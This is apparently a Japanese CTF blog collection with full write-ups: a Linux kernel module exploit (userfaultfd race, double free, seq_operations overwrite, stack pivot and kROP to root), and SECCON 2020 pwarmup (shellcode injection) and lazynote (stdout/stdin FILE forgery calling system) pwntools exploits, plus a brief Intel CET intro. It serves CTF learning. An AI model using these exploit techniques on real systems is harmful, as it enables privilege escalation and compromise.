uffdio_range.start = msg.arg.pagefault.address & ~(PAGE-1); uffdio_range.len = PAGE; if(ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1) errExit("ioctl-UFFDIO_UNREGISTER"); printf("[+] unregistered supervisored region.\n"); break; } puts("[+] exiting fault_handler_thrd"); } // cf. man page of userfaultfd void register_userfaultfd_and_halt(void) { puts("[+] registering userfaultfd..."); long uffd; // userfaultfd file descriptor pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // create userfaultfd file descriptor uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc if(uffd == -1) errExit("userfaultfd"); // enable uffd object via ioctl(UFFDIO_API) uffdio_api.api = UFFD_API; uffdio_api.features = 0; if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); // mmap puts("[+] mmapping..."); addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr. puts("[+] mmapped..."); if(addr == MAP_FAILED) errExit("mmap"); // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) uffdio_register.range.start = addr; uffdio_register.range.len = PAGE*0x10; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd); if(s!=0){ errno = s; errExit("pthread_create"); } puts("[+] registered userfaultfd"); } int main(void) { unsigned long secret; unsigned long content_ptr; unsigned long modulebase; unsigned long dif_main_buf, dif_notes_array; unsigned long page_offset_base; unsigned long rip_call_copy_to_user; unsigned long addr_copy_to_user; signed long rel_jmp_offset; unsigned long kern_textbase; void *tmp_addr; unsigned char *addr_cred; unsigned long addr_cred_in_task_struct; unsigned long tmp_buf = 0xdeadbeef; int sfd; unsigned long diff_copy_to_user = 0x353ee0; // save state save_state(); // open target proc file if((fd=open("/proc/stack",O_RDONLY))<0) errExit("open-/proc/stack"); // set userfaultfd register_userfaultfd_and_halt(); sleep(1); // call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32 _push(addr); // invoke fault // alloc seq_operations; if((sfd = open("proc/self/stat", O_RDONLY)) == -1) errExit("single_open"); // overwrite seq_operations; char buf[0x20]; for(int ix=0; ix!=4; ++ix) *(unsigned long*)(buf+ix*8) = 0xDEADBEEF; setxattr("/tmp", "SHE_IS_SUMMER", buf, 0x20, XATTR_CREATE); // pop rip to death read(sfd, buf, 0x10); return 0; }

 

double free されて kmalloc-32 に対して同一オブジェクトが2つ繋がれているため、以下のように setxattr 内で kvmalloc によって確保されたチャンクが seq_operations として確保されたものと同一のものであることが分かるであろう。

f:id:smallkirby:20201014164049p:plain

double allocation

但し、先頭8byteは kfree (厳密に言うと inline do_slab_free)において変更されるため、先頭8byteの値は自由にいじることができない前提でいる必要が有る。今回は int (*show)() だけ書き換えられれば良いため、問題なし。関数ポインタを 0xDEADBEEF で書き換えたために次に read する際にパニックが起きる。

f:id:smallkirby:20201014164606p:plain

MANIC PANIC!

 

 

5: Root via stack pivot

ここまででPCを奪取することができた。また、今回は SMEP のみ有効で SMAP 無効のため、kROPができる。

すごく普通のkROPのため省略するが、詳細は以下のエントリらへんに書いておいた気がする。

smallkirby.hatenablog.com

 

 

 

6: Exploit

自前カーネルのオフセットを利用している。オフセットを直せば問題環境にそのまま利用できるが、二度手間なのでしていない。

SMEP/KASLR有効。

#define _GNU_SOURCE
#include<stdio.h>
#include<linux/userfaultfd.h>
#include<pthread.h>
#include<errno.h>
#include<stdlib.h>
#include<fcntl.h>
#include<signal.h>
#include<string.h>
#include<sys/mman.h>
#include<sys/syscall.h>
#include<poll.h>
#include<unistd.h>
#include<string.h>
#include<sys/ioctl.h>
#include<sys/prctl.h>
#include<sys/shm.h>
#include<sys/xattr.h> #define ulong unsigned long #define errExit(msg) do { perror("[ERROR EXIT]\n"); \ perror(msg); \ exit(EXIT_FAILURE); \ } while (0) #define WAIT(msg) puts(msg); \ fgetc(stdin); #define PAGE 0x1000 ulong user_cs,user_ss,user_sp,user_rflags; int fd; // file descriptor of /dev/note char *addr = 0x117117000; // memory region supervisored char *shmaddr = 0x200200000; // memory region shmat const char *buf[0x1000]; // userland buffer const ulong len = PAGE*0x10; // memory length ulong leak, kernbase; void pop_shell(void) { char *argv1[] = {"/bin/cat","/flag",NULL}; char *envp1[] = {NULL}; execve("/bin/cat",argv1,envp1); char *argv2[] = {"/bin/sh",NULL}; char *envp2[] = {NULL}; execve("/bin/sh",argv2,envp2); } static void save_state(void) { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } #define POP 0x57ac0002 #define PUSH 0x57ac0001 struct Element{ int owner; ulong value; struct Element *fd; }; int _push(ulong *data) { if(ioctl(fd, PUSH, data) < 0) if(errno == EINVAL){ printf("[-] copy_from_user failed.\n"); errno = 0; }else errExit("_push"); // printf("[+] pushed %llx\n", *data); // data region can be mprotected to NON_PLOT, so don't touch it. return 0; } int _pop(ulong *givenbuf) { if(ioctl(fd, POP, givenbuf) < 0) errExit("_pop"); printf("[+] poped %llx\n", *givenbuf); return 0; } static void call_shmat(void) { int shmid; void *addr; pid_t pid; if((pid=fork()) == 0){ if((shmid = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600))==-1) errExit("shmget fail"); if((addr=shmat(shmid, NULL, SHM_RDONLY))==-1) errExit("shmat fail"); if(shmctl(shmid, IPC_RMID, NULL)==-1) errExit("shmctl"); printf("[ ] Success call_shmat: %p\n", addr); printf("[ ] Child is exiting...\n"); exit(0); } wait(pid); printf("[ ] Parent is returning...\n"); } // cf. man page of userfaultfd static void* fault_handler_thread(void *arg) { puts("[+] entered fault_handler_thread"); static struct uffd_msg msg; // data read from userfaultfd struct uffdio_range uffdio_range; long uffd = (long)arg; // userfaultfd file descriptor struct pollfd pollfd; // int nready; // number of polled events ulong hogebuf; // set poll information pollfd.fd = uffd; pollfd.events = POLLIN; // wait for poll puts("[+] polling..."); while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll"); // read an event if(read(uffd, &msg, sizeof(msg)) == 0) errExit("read"); if(msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault"); printf("[!] page fault: %p\n",msg.arg.pagefault.address); //********* Now, another thread is halting. Do my business. **// // leak kernbase puts("[+] pop before push!"); _pop(&hogebuf); // leak shm_file_data->ipc_namespace leak = hogebuf; kernbase = leak-0xc38600; printf("[!] leaked: %llx\n", leak); printf("[!] kernbase(text): %llx\n", kernbase); // change page permission and make fail copy_from_user mprotect(msg.arg.pagefault.address & ~(PAGE-1), PAGE, PROT_NONE); printf("[+] mprotected as PROT_NONE: %p\n", msg.arg.pagefault.address & ~(PAGE-1)); uffdio_range.start = msg.arg.pagefault.address & ~(PAGE-1); uffdio_range.len = PAGE; if(ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1) errExit("ioctl-UFFDIO_UNREGISTER"); printf("[+] unregistered supervisored region.\n"); break; } puts("[+] exiting fault_handler_thrd"); } // cf. man page of userfaultfd void register_userfaultfd_and_halt(void) { puts("[+] registering userfaultfd..."); long uffd; // userfaultfd file descriptor pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // create userfaultfd file descriptor uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc if(uffd == -1) errExit("userfaultfd"); // enable uffd object via ioctl(UFFDIO_API) uffdio_api.api = UFFD_API; uffdio_api.features = 0; if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); // mmap puts("[+] mmapping..."); addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr. puts("[+] mmapped..."); if(addr == MAP_FAILED) errExit("mmap"); // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) uffdio_register.range.start = addr; uffdio_register.range.len = PAGE*0x10; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd); if(s!=0){ errno = s; errExit("pthread_create"); } puts("[+] registered userfaultfd"); } int main(void) { /** gadgets **/ ulong pop_rdi = 0x194964; // 0xffffffff81194964: pop rdi ; ret ; (19 found) ulong pop_rcx = 0x0dee43; // 0xffffffff810dee43: pop rcx ; ret ; (49 found) ulong stack_pivot = 0x059d8b; // 0xffffffff81059d8b: mov esp, 0x83C389C0 ; ret ; (1 found) ulong prepare_kernel_cred = 0x06b960; // ffffffff8106b960 T prepare_kernel_cred ulong mov_rdi_rax = 0x0187bf; // 0xffffffff810187bf: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (1 found) ulong commit_creds = 0x06b770; // ffffffff8106b770 T commit_creds ulong swapgs_restore_regs_and_return_to_usermode = 0x600a4a; // ffffffff81600a34 T swapgs_restore_regs_and_return_to_usermode /* 0xffffffff81600a4a <common_interrupt+74>: mov rdi,rsp 0xffffffff81600a4d <common_interrupt+77>: mov rsp,QWORD PTR gs:0x5004 0xffffffff81600a56 <common_interrupt+86>: push QWORD PTR [rdi+0x30] 0xffffffff81600a59 <common_interrupt+89>: push QWORD PTR [rdi+0x28] 0xffffffff81600a5c <common_interrupt+92>: push QWORD PTR [rdi+0x20] 0xffffffff81600a5f <common_interrupt+95>: push QWORD PTR [rdi+0x18] 0xffffffff81600a62 <common_interrupt+98>: push QWORD PTR [rdi+0x10] 0xffffffff81600a65 <common_interrupt+101>: push QWORD PTR [rdi] 0xffffffff81600a67 <common_interrupt+103>: push rax 0xffffffff81600a68 <common_interrupt+104>: xchg ax,ax 0xffffffff81600a6a <common_interrupt+106>: mov rdi,cr3 0xffffffff81600a6d <common_interrupt+109>: jmp 0xffffffff81600aa3 <common_interrupt+163> 0xffffffff81600a6f <common_interrupt+111>: mov rax,rdi 0xffffffff81600a72 <common_interrupt+114>: and rdi,0x7ff */ void *tmp_addr; ulong tmp_buf = 0xdeadbeef; int sfd; unsigned long* fstack; ulong *rop; // save state save_state(); // open target proc file if((fd=open("/proc/stack",O_RDONLY))<0) errExit("open-/proc/stack"); // set userfaultfd register_userfaultfd_and_halt(); sleep(1); // call_shmat(); // kalloc and kfree shm_file_data structure at kmalloc-32 _push(addr); // invoke fault // alloc seq_operations; if((sfd = open("proc/self/stat", O_RDONLY)) == -1) errExit("single_open"); // overwrite seq_operations; char buf[0x20]; printf("[+] stack pivot gadget: %p\n", kernbase + stack_pivot); for(int ix=0; ix!=4; ++ix) // first 8byte is useless. *(ulong*)(buf+ix*8) = (kernbase + stack_pivot); setxattr("/tmp", "SHE_IS_SUMMER", buf, 0x20, XATTR_CREATE); // alloc fake stack for 0x83C389C0 fstack = mmap(0x83C38000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); if(fstack != 0x83C38000) errExit("fstack"); /********** construct kROP ***************/ rop = (ulong*)0x83C389c0; // Get cred of init task. *rop++ = kernbase + pop_rdi; *rop++ = 0; *rop++ = kernbase + prepare_kernel_cred; // Commit that cred. *rop++ = kernbase + pop_rcx; // Cuz mov_rdi_rax gadget contains rep inst, set counter to 0. *rop++ = 0; *rop++ = kernbase + mov_rdi_rax; *rop++ = 0; // fake rbp *rop++ = kernbase + commit_creds; // Return to usermode by swapgs_restore_regs_and_return_to_usermode *rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode; *rop++ = 0; *rop++ = 0; *rop++ = (ulong)&pop_shell; *rop++ = user_cs; *rop++ = user_rflags; *rop++ = user_sp; *rop++ = user_ss; // pop shell read(sfd, buf, 0x10); return 0; } /**** #!/bin/sh sudo rm -r ./extracted mkdir extracted cp ./rootfs.cpio ./rootfs_temp.cpio cd ./extracted cpio -idv < ../rootfs_temp.cpio cd ../ rm ./rootfs_temp.cpio gcc ./exploit.c -o exploit --static -pthread cp ./exploit ./extracted/ cp ./build/kstack.ko ./extracted/root/kstack.ko rm ./myrootfs.cpio chmod 777 -R ./extracted cd ./extracted find ./ -print0 | cpio --owner root --null -o --format=newc > ../myrootfs.cpio cd ../ qemu-system-x86_64 \ -m 512M \ -kernel ~/buildroot-2020.02.5/output/images/bzImage \ -initrd ./myrootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \ -cpu kvm64,+smep \ -net user -net nic -device e1000 \ -monitor /dev/null \ -nographic # Makefile obj-m += kstack.o all: make -C /home/wataru/buildroot-2020.02.5/output/build/linux-4.19.91/ M=$(PWD) modules EXTRA_CFLAGS="-g DDEBUG" clean: make -C /home/wataru/buildroot-2020.02.5/output/build/linux-4.19.91/ M=$(PWD) clean ****/

 

 

f:id:smallkirby:20201014182531p:plain

Got a flag: SHE IS SUMMERならオレ IS 何??????????

 

 

7: アウトロ

次はkvdbでもやろうかな

 

 

 

 

あとほんの少しだけ続く...

 

 

 

 

 

 

 

 

 

 

 

【pwn 38.0】SECCON CTF 2020 ~ part.1 lazynote / pwarmup

keywords

forge _IO_FILE_plus to leak / libc2.27

 

 

1: イントロ

いつぞや開催された SECCON CTF 2020

開始3時間で悟ってしまい放棄してしまいましたが、pwn問題は全部解いていくことにします。sandbox問題は余力があったら全部解こうと思います。

本エントリでは、pwnの中でsolve数が多かった2問を取り上げます。

どうせこれを書き上げる頃には作問者様のwriteupが出ていると思うので、本エントリでは速さではなく詳細な説明をする様に心がけようと思います。

 

お知らせ

あらゆることに成果が出せていないのにブログを書くのがhogeになったため、本シリーズを投稿した後は一旦ブログを閉鎖することにしました。なんやかんや色んな人に見て頂けて嬉しかったです。 iPadで書いたブログなんかは気分で書いたのに、discordで海外の人に「画像だと翻訳できないからテキスト版をくれないか」と言われたときには、翻訳するべきか迷いました。まぁ流石に渡しませんでしたけどね。公開設定を自分だけにするだけなので、気分が向いたらひょっこりともとに戻すかもしれません。その時まで。

 

 

2: pwarmup

静的解析

./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=02a44cf279881f5887ca24374b56d586be571c89, not stripped

    RELRO:    No RELRO

    Stack:    No canary found

    NX:       NX disabled

    PIE:      No PIE (0x400000)

    RWX:      Has RWX segments

 libc配布なし。ソースコード配布。

 

Vulns / Attack Vector

scanf を用いているため、自明なスタックオーバーフローがある。また、カナリアは居ないためSSPに殺されることもない。また、0x60000 領域が RWX になっているためここに RBP を移動させて再び main を実行することでシェルコードを注入することができる。

尚、一度目のmainで stdout/stderr はcloseされているためシェルを取った後は exec 1>&0 で再び開く必要が有る。

 

Exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = ""

hosts = ("pwn-neko.chal.seccon.jp","localhost","localhost")
ports = (9001,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge():
  global c
  pass

## exploit ###########################################

def exploit():
  global c
  # pop: r13 rdi rsi r14 r15 
  main = 0x4006b7
  pop_rdi = 0x4007e3
  ret = 0x400566
  shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
  got = 0x600bd8

  c.recvline()
  pay = ""
  pay += "A"*0x20
  pay += p64(0x600000+0x40) # rbp

  pay += p64(0x4006bf) #RA

  c.sendline(pay)

  # 2R 
  sleep(1)
  pay = ""
  pay += p64(0x600050) * (0x30//8)
  pay += shellcode
  c.sendline(pay)

  c.sendline("exec 1>&0")
  c.sendline("cat ./flag-e6951df0400add6a6b5be11f25b80cea.txt")


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

f:id:smallkirby:20201011214203p:plain

flag of pwarmup


 

 

 

 

 

3: lazynote

静的解析

./chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a1663726383f8586f276451381e6fbb6f3d2d675, not stripped

    Arch:     amd64-64-little

    RELRO:    Full RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      PIE enabled

 libc 2.27

 

任意サイズの calloc を4回のみ行うことができる。edit/view/delete 等の機能は実装されていない。

 

Vulns

本プログラムでは、calloc するサイズ csize と読み込むデータサイズ rsize の2つをそれぞれ聞いてくる。rsize < csize の場合には csize=rsize に修正し、結局 csize だけ calloc することになる。よって、rsize > csize にすることで直接的に任意の値をオーバーフローさせることはできない。

問題はその後で、readline でユーザからのデータを入力した後以下のようにNULL終端させている。

f:id:smallkirby:20201011214913p:plain

inappropriate NULL termination

 まずそもそもに、readline の内部で呼ばれている fgets はそれ自体でNULL終端してくれるため呼び出し側がNULL終端させる必要はない。

f:id:smallkirby:20201011215117p:plain

_IO_fgets @ iofgets.c

案の定、rsize > csize の場合には確保したバッファを超えてNULLクリアすることになってしまう。

というわけで、今回のattack vector1byte relative NULL clear x 4 のみということになる。

 

libcbase leak

持っているvectorがrelativeであるために、バッファは libcbase とのオフセットが既知である場所に取られていなければならない。幸いにも本プログラムでは任意サイズの calloc ができる。よって、system_mem よりも大きいサイズ(>0x21000)を calloc してやれば mmap してくれる。

f:id:smallkirby:20201011215750p:plain

threshold for mmap

mmap によって確保される領域は libcbase とのオフセットが固定であるため、前述の NULL clear によって任意の libc symbol をNULL clearすることができる。 

f:id:smallkirby:20201011215943p:plain

In this case, the offset is 0xc3000 (0x7fd3102ee000-0x7fd31022b000)

まずは libcbase leak をすることにする。基本的な方針は2018年のHITCONの問題と同じで(以下のエントリで述べられている) FILE structure exploit である。

 

smallkirby.hatenablog.com

 

詳しくは上のエントリを参照されたいとだけ言ってスキップしてしまってもいいが、自分自身よくFILE exploitを理解していない感じがあったので、コードベースで丁寧に方針をおさらいしていくことにする。

 

puts によってlibc symbolをleakさせたいため、まずはこいつから考えよう。putsstdout の関数テーブルである _IO_file_jmps を参照して _IO_new_file_xsputn を呼ぶ。そして以下のようにして _IO_OVERFLOW を呼ぶ。引数 f は stdout である。

f:id:smallkirby:20201011222345p:plain

_IO_new_file_xsputn @ fileops.c

ここで第2引数 ch に EOF を渡しているため、内部では do_new_write が呼ばれる。この際の引数に注目すると、stdout->_IO_write_base から stdout->_IO_write_ptr - stdout->_IO_write_base byte分だけ出力するようになることが分かる。

f:id:smallkirby:20201011222716p:plain

_IO_new_file_overflow @ fileops.c

この後は引数をほぼそのままに write を呼ぶだけである。

 

さて、それでは puts を呼んだ際の stdout->_IO_write_base がどうなっているかを見てみると、以下のようになっている。

f:id:smallkirby:20201011222935p:plain

stdout when puts

おおよそ stdout の内部を指していることが分かる。この時、_IO_write_base のLSBをNULL clearすると _IO_write_base が stdout 自身を指すことになる。即ち、上で見た do_new_write 内部の write において stdout 自身の値を出力させることができるようになる。出力サイズ自体は write_ptr と write_base の差を取って計算されるが、write_base を小さく書き換えているため十分である。

 

それでは早速相対書き換えによって stdout->_IO_write_base を書き換えてleakをしようと思って試してみても、何も出力はされないだろう。というのも、do_new_write の内部において、以下のようなチェックが有る。

f:id:smallkirby:20201011223616p:plain

new_do_write @ fileops.c

_IO_read_end_IO_write_base が等しくない場合には lseek64 を呼び出している。ここで _IO_write_base をNULL clearした状態のstdoutは以下のようになっている。

f:id:smallkirby:20201011223926p:plain

stdout after NULL clear

確かに read_end と write_base が異なるために、lseek64 が呼ばれることになる。だがこの lseek64 は不正呼び出しのために pos_BAD を返してくる。そのため、即座に return 0 されて結局 puts は何もせずに終わることになる。leakなんてできやしない。

 

さて、対策としては単純に上の条件分岐をfalseにするため _IO_read_end も事前にNULL clearしてやればいい。但しその場合には、_IO_write_end も書き換えるまで出力が一切されなくなることに注意。

 

上記の方針で read_end と write_base を書き換えると以下のようにstdoutが出力されるため、libcbaseがleakできたことになる。

f:id:smallkirby:20201011224324p:plain

libcbase leak

 

Limited arbitrary write into stdin

続いて stdin を壊していくことにする。

 

_IO_fgets は内部的には _IO_getline を呼び、更にすぐ _IO_getline_info を呼ぶことになる。その中で、 stdout->_IO_read_end - fp->_IO_read_ptr < 0 ならば __uflow を呼ぶ。

f:id:smallkirby:20201011220624p:plain

_IO_getline_info @ iogetline.c

この __uflow は内部的に stdin のジャンプテーブルである _IO_file_jmps を参照し、_IO_new_file_underflow を呼ぶ。こいつは普通の条件の場合には read を呼ぶことになる。その際の引数は以下のようにして決定される。

f:id:smallkirby:20201011220901p:plain

_IO_new_file_underflow @ fileops.c

やはり先程の do_new_write の場合と同様に、stdin->_IO_buf_base に対して read を行っている。よって、stdin->_IO_buf_base をNULL clearしてstdinを指すようにしてやることで、stdin に対して任意の値を書き込んでやることができる。

 

あとは stdin を適当に forge してやれば終わりか?というとそうではない。read の第3引数は _IO_buf_end - _IO_buf_base になっており、これはNULL clearによって生じた差の分だけしかない。今回の場合は 0x84 byteのみである。これは stdin をforgeするには若干足りない。

しかも、ここまでで既に3回 calloc しているため、残り一回しか読み込みを行うことはできない。

 

対処法としてはシンプルで、まずは stdin の前半にある _IO_buf_end を任意の大きい値に書き換えてあげればいいだけである。そうすれば、次の read では更に大きい値分だけ読み込むことができる。

残り一回しか読み込めないんじゃなかったんかとブチ切れて発狂しだす輩もいるかもしれないが、大丈夫。もう一度 _IO_getline_info を見返してみよう。

f:id:smallkirby:20201011225316p:plain

_IO_getline_info @ iogetline.c

このwhileループ及び内部の __uflow は、read_end < read_ptr である限り行われる。従って、1回目の __uflow において stdin の前半に有る read_end / buf_base / buf_end を書き換えた後、2回目の __uflow において好きなだけ stdin をforgeしてしまえばよい。

以上の方針で1回目の __uflow を終えた後の stdin は以下のようになっている。

f:id:smallkirby:20201011225909p:plain

stdin after partial overwrite

read_baseはstdinを指しており、buf_end-buf_baseは十分な大きさを持っているため、stdin全体をforgeすることができるようになった。なお、こいつら以外をoverwriteする値は何でも良いが、read_end は read_ptr よりも小さくなっている必要が有る。

 

 

 

Forge stdin via unimited arbitrary write into stdin

あとは、最近の zer0pts CTF とか他諸々のCTFでも大量に出ている方針と同じ方針でいける。

smallkirby.hatenablog.com

尚、今回は onegadget は全て使えない。よって、_IO_str_overflow 内部での call において RDI には new_buf として 2 * (_IO_buf_end - _IO_buf_base) + 0x64 が入ることを利用して、任意の値が入れられる。

f:id:smallkirby:20201012004713p:plain

_IO_str_overflow @ strops.c

 

Exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = "./libc-2.27.so"

hosts = ("pwn-neko.chal.seccon.jp","localhost","localhost")
ports = (9003,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

note =" " 
enpitu = "✏️ "
trash = "🗑️ "
eye = "👀"

def hoge(ix):
  global c
  c.recvuntil(">")
  c.sendline(str(ix))

def a(csize, rsize, data, ret=False):
  if ret:
    c.sendline(str(1))
    c.sendline(str(csize))
    c.sendline(str(rsize))
    c.sendline(data)
    return
  hoge(1)
  c.recvuntil("alloc size: ")
  c.sendline(str(csize))
  c.recvuntil("read size: ")
  c.sendline(str(rsize))
  c.recvuntil("data: ")
  c.sendline(data)

## exploit ###########################################


def exploit():
  global c
  big_size = 0x40300
  mmap_dif = 0x1f7760

  if False: # my libc
    a(big_size, mmap_dif+0x11-0x10, "A"*0x10) # read_end
    a(big_size, big_size+0x10+0xcd0+0x20 + mmap_dif + 0x11, "A"*0x10, True)
    libc_dif = 0x1b85b0
  else:
    mmap_dif += 0x235ff0+0x10
    a(big_size, mmap_dif+0x1,  "A"*0x10)
    a(big_size, big_size + mmap_dif+0xcd0+0x1+0x40,  "A"*0x10, ret=True)
    libc_dif = 0x1b85b0 + 0x235300

  libcbase = unpack(c.recvuntil(p8(0x7f))[-6:].ljust(8,'\x00')) - libc_dif
  print("[+] libcbase: "+hex(libcbase))

  # make stdin->buf_end into stdin itself
  if False: # mylibc
    a(big_size, (big_size+0x20+0xcd0)*2 + mmap_dif + 0x11 + 0x38- 0xd60, "A"*0x10) # stdin->buf_end
  else:
    a(big_size, (big_size+0x20+0xcd0)*2 + mmap_dif + 0x11 + 0x38- 0xd60, "A"*0x10) # stdin->buf_end

  # forge fake stdin
  stdin = libcbase + libc.symbols["_IO_2_1_stdin_"]
  pay2 = b""
  pay2 += p64(0) # flag
  pay2 += p64(stdin) # read_ptr

  pay2 += p64(libcbase + 0xbeef) # read_end should be smaller than read_ptr
  pay2 += p64(stdin) # read_base
  pay2 += p64(stdin) # write_base

  pay2 += p64((libcbase+0x1b40fa-0x64)//2) # write_ptr binsh
  pay2 += p64(stdin) # write_end

  pay2 += p64(0) # buf_base
  pay2 += p64((libcbase+0x1b40fa-0x64)//2) # buf_end
  pay2 += p64(0)*0x12
  pay2 += p64(libcbase + libc.symbols["_IO_file_jumps"]+0xc0 - 0x10) # _IO_str_jmps
  pay2 += p64(libcbase + libc.symbols["system"]) # system 
  pay2 = pay2.ljust(0x100,'\x00')


  pay = b""
  pay += p64(0xfbad208b) # flag
  pay += p64(stdin) # read_ptr

  pay += p64(libcbase + 0xbeef) # read_end should be smaller than read_ptr
  pay += p64(stdin) # read_base
  pay += p64(stdin) # write_base
  pay += p64(stdin) # write_ptr
  pay += p64(stdin) # write_end

  pay += p64(stdin) # buf_base
  pay += p64(stdin+len(pay2)) # buf_end
  pay = pay.ljust(0x84,'\x00')
  pay += pay2
  c.sendline(pay)


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

 

3: アウトロ

トイレの水が止まらなくなって泣いています

 

 

次回は kstack やろうかな。 

ほんのちょっとだけ続く。。。

 

 

 

 

【雑談5.0】EEICで1年過ごしたため、振り返る

 

 

1: イントロ

f:id:smallkirby:20200929211729j:plain

f:id:smallkirby:20200929211741j:plain

 

 

 

f:id:smallkirby:20200929211757j:plain

f:id:smallkirby:20200929211845j:plain

f:id:smallkirby:20200929211901j:plain

f:id:smallkirby:20200929211918j:plain

 

f:id:smallkirby:20200929211929j:plain

2: SpecialThanks

本記事は、分科会 #sig-pwn-beginnerの一環として書かれたものではありません

 

 

 

0: 参考

www.youtube.com

 

 

 

 

続くわけがねぇ・・・

 

 

 

 

 

 

【pwn 36.0】Intel CETが、みんなの恋人ROPを殺す

keywords

Intel CET / shadow stack / indirect branch tracking / もらとりあむ

 

 

1: イントロ

こんにちは、ニートです。

1週間程前、Intelは第11世代Coreプロセッサ (コードネーム: Tiger Lake) を正式に発表しました。なんかGPUがどうのこうのとかWi-Fi6がどうのとかあるらしいですが、CPUよく知らないので知りません。

但し、重要な事としてこのアーキテクチャIntel CET という機能を実装しています。そしてこの CET は皆が大好きなexploit techniqueであるROPを殺してしまうと言われています。

本エントリでは、今更ながら Intel CET の概要について触れ、これによって今まで成功してきたexploitが Tiger Lake 以降の Intel CPU に於いてどうなってしまうのかを見てみたいと思います。尚、今回「参考」は一番下に纏めて掲載しています。

 

 

2: Intel CET 概観

もともと Intel CET が発表されたのは、もう3年以上前のことである。何度かの延期を経て、2020年末に Tiger Lake 搭載端末が発売されると言われている。Tiger Lakeが実装している機能の内今回注目するのは、Intel CETのみである。

Intel CET: Control-flow Enforcement Technology は、端的に言うと「ROPを殺す機構」である。大別して "Shadow Stack""Indirect Branch Tracking" という2つの要素から構成されている。その結果として、「スタックフレーム中の Return Addressの保護」「jmp/callに用いる free branch の保護」を実現する。

以下では、CETを構成する2大要素について見ていく。尚、以下の記述は参考Aのspecificationに大きく依っている(発売していない以上正解は仕様書にしか無い)。

 

【追記: 20200912】

同様の考えででROPを防ぐ方法は、過去にもRAPという名前で10年近く前から提唱されている。CETはこれをアーキテクチャレベルで実装している。RAPについては以下を参考のこと。

